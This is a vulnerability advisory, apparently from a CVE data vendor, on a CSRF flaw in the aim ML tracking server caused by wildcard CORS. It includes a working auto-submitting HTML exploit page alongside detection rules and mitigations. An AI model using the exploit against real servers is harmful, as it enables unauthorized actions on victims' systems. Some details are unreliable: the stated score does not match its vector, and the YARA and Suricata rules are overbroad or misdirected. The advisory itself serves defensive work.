CVE-2024-7760
Executive Summary
CVE-2024-7760 is a Cross-Site Request Forgery (CSRF) vulnerability in aimhubio/aim version 3.22.0, specifically in the tracking server component. The vulnerability arises from overly permissive CORS (Cross-Origin Resource Sharing) settings that allow cross-origin requests from all origins (*). This misconfiguration enables an attacker to craft malicious web pages that, when visited by an authenticated user, can perform unauthorized actions on the aim tracking server. The impact is severe because CSRF can be chained with other vulnerabilities (such as remote code execution, denial of service, and arbitrary file read/write) to achieve full server compromise. The CVSS score is 7.4 (High), and no patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Python package aim (aimhubio/aim) version 3.22.0. As a PyPI package, the supply chain risk includes potential exploitation via malicious packages that mimic or depend on aim. Organizations using aim in their ML/experiment tracking pipelines should immediately restrict network access to the tracking server and implement CSRF tokens or same-site cookie policies.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Base Score: 7.4 (High)
- Attack Vector (AV): Network – the vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): None – no authentication needed to trigger the CSRF.
- User Interaction (UI): Required – the victim must visit a malicious page.
- Scope (S): Unchanged – the vulnerable component and the attacker’s target are the same.
- Confidentiality (C): High – potential for data exfiltration.
- Integrity (I): High – potential for data modification or injection.
- Availability (A): High – potential for denial of service.
Threat Level: High. The combination of CSRF with other known vulnerabilities in aim (RCE, arbitrary file read/write) makes this a critical risk for any exposed tracking server.
Deep Dive & Mechanics
The aim tracking server, by default, sets CORS headers to allow all origins (Access-Control-Allow-Origin: *). This is typically done to facilitate cross-origin requests from web-based dashboards or integrations. However, this configuration also allows any website to make authenticated requests to the aim server on behalf of a logged-in user.
Attack Flow:
- An attacker identifies an aim tracking server (e.g., via Shodan or internal network scanning).
- The attacker crafts a malicious HTML page that contains JavaScript or form submissions targeting the aim server’s API endpoints (e.g.,
/api/runs,/api/experiments). - The attacker lures an authenticated aim user (e.g., a data scientist) to visit the malicious page.
- The victim’s browser sends requests to the aim server, including any cookies or authentication tokens.
- The aim server processes the requests, thinking they are legitimate, and performs actions such as creating/deleting runs, modifying experiments, or triggering other vulnerabilities.
Chaining with Other Vulnerabilities:
- Remote Code Execution (RCE): If the aim server has an endpoint that executes user-supplied code (e.g., via a custom script or plugin), CSRF can trigger it.
- Denial of Service (DoS): CSRF can be used to delete critical data or overload the server.
- Arbitrary File Read/Write: CSRF can be used to read or write files if the server exposes file manipulation endpoints.
Vulnerable vs. Patched Code
Vulnerable Code (aim 3.22.0):
# In the tracking server's CORS configuration
from flask_cors import CORS
app = Flask(__name__)
CORS(app, origins="*") # Allows all origins
Patched Code (Hypothetical):
# Restrict to specific origins
CORS(app, origins=["https://trusted-dashboard.example.com"])
Explanation: The vulnerable code uses origins="*", which permits any website to make cross-origin requests. A patched version would restrict origins to a whitelist of trusted domains, or use a more secure CORS policy that requires explicit origin validation.
Exploitation & Lab Setup
Red Team (Attacker)
Lab Setup:
- Deploy aim 3.22.0 on a local server (e.g.,
http://aim-server:5000). - Create a malicious HTML page hosted on a different origin (e.g.,
http://attacker.com/exploit.html).
Exploit Code:
<!DOCTYPE html>
<html>
<head>
<title>CSRF Exploit for aim</title>
</head>
<body>
<h1>Click me to win a prize!</h1>
<form id="csrf-form" action="http://aim-server:5000/api/runs" method="POST">
<input type="hidden" name="name" value="malicious-run">
<input type="hidden" name="experiment" value="compromised">
</form>
<script>
// Auto-submit the form
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
Usage: Host the HTML file on a web server. When an authenticated aim user visits the page, the form auto-submits, creating a new run on the aim server without the user’s consent.
Blue Team (Defender)
Detection:
- Monitor for unexpected cross-origin requests to the aim server.
- Look for
Originheaders that do not match the expected dashboard domain. - Use network segmentation to isolate the aim server from untrusted networks.
Mitigation:
- Implement CSRF tokens in all state-changing requests.
- Set
SameSitecookie attribute toLaxorStrict. - Restrict CORS to specific trusted origins.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests to aim server with
Originheader set to an unexpected domain. - Repeated POST requests to
/api/runs,/api/experiments, or other state-changing endpoints from a single IP.
- HTTP requests to aim server with
- Logs:
- Aim server logs showing requests from IPs not in the trusted network.
- Unusual creation or deletion of runs/experiments.
- File System:
- Unexpected files in the aim data directory (e.g.,
/tmp/aim/).
- Unexpected files in the aim data directory (e.g.,
- Process:
- Aim server process with high CPU or memory usage (possible DoS chaining).
Detection Engineering
YARA Rule
rule CVE_2024_7760_CSRF_Aim {
meta:
description = "Detects overly permissive CORS configuration in aim tracking server"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-7760"
strings:
$cors_all = /Access-Control-Allow-Origin:\s*\*/ nocase
$cors_any = /Access-Control-Allow-Origin:\s*https?:\/\/.*/ nocase
condition:
$cors_all or $cors_any
}
Sigma Rule
title: CVE-2024-7760 CSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential CSRF attacks against aim tracking server
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: aim
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/api/'
cs-headers|contains: 'Origin'
condition: selection
falsepositives:
- Legitimate cross-origin requests from trusted dashboards
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-7760 - CSRF against aim tracking server";
flow:to_server,established;
content:"POST";
http_method;
content:"/api/";
http_uri;
content:"Origin";
http_header;
sid:1000001;
rev:1;
reference:cve,2024-7760;
classtype:attempted-recon;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Restrict Network Access: Place the aim tracking server behind a firewall or VPN. Do not expose it to the internet.
- Implement CSRF Protection: Add CSRF tokens to all state-changing endpoints. Use Flask-WTF or similar libraries.
- Harden CORS: Change CORS configuration to allow only specific trusted origins (e.g.,
https://dashboard.example.com). - Set SameSite Cookies: Configure session cookies with
SameSite=LaxorSameSite=Strict. - Monitor Logs: Enable detailed logging and monitor for suspicious cross-origin requests.
Long-Term Fix:
- Upgrade to a patched version of aim when available.
- Conduct a security audit of all aim endpoints to identify other vulnerabilities that could be chained with CSRF.
Workaround:
- Use a reverse proxy (e.g., Nginx) to strip or validate the
Originheader before forwarding requests to the aim server.
Valters IT